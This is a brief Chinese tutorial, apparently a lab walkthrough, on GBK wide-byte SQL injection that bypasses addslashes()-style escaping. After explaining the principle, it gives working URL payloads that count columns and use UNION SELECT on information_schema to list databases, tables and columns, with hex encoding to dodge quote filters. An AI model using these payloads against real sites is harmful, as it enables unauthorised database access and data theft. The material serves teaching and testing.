宽字节注入就是因为gbk编码方式需要两个ascii组合来解码,所以很形象的叫做宽字节。
宽字节原理:
当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。
宽字节注入条件:
(1)数据库查询设置为GBK编码
(2)使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数
附:GBK编码表 https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php
%81%5c–>乗

在 ‘ 后面加%81,报错

确定是字符型

查字段数
?id=1%81%27 order by 5%23

查库名
?id=-1%84%27 union select 1,group_concat(schema_name),3 from information_schema.schemata %23

查表名
?id=-1%84%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

查字段时
注意:用 ’ 和 “ 时,会报错

使用16进制编码或者unicode编码绕过
?id=-1%84%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273%23
